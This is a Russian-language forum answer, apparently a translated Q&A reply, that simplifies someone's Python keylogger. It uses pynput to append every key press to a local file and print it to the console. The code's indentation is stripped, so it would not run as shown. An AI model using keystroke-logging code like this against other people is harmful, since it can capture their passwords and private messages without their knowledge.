Ваша концепция верна, но вам не нужно собирать все нажатия клавиш в список. Кроме того, вы просматриваете свой список и затем обрабатываете его как одну большую строку. Таким образом, вам не нужно ничего из этого делать.
Я рекомендую упростить ваш код примерно так:
from pynput.keyboard import Key, Listener
import sys
def on_press(key):
print("{0} pressed".format(key))
write_file(key)
def write_file(key):
with open("key_log.txt", "a") as f:
if hasattr(key, "char"):
f.write('{0}'.format(key.char))
elif key == Key.enter:
f.write("\n")
elif key == Key.space:
f.write(" ")
with Listener(on_press=on_press, on_release=None) as listener:
try:
listener.join()
except:
with open("key_log.txt", "a") as f:
f.write("\n")
sys.exit()
В моей версии вашего кода вы регистрируете нажата клавиша в консоли python, а затем передайте ее в функцию write_file. Оттуда функция открывает файл key_log.txt и проверяет, нужно ли что-либо записывать в файл. Если это так, символ записывается, а если нет, файл будет закрыт.
Если вы хотите остановить процесс, введите ctrl + C, чтобы вызвать KeyboardInterrupt, чтобы остановить процесс.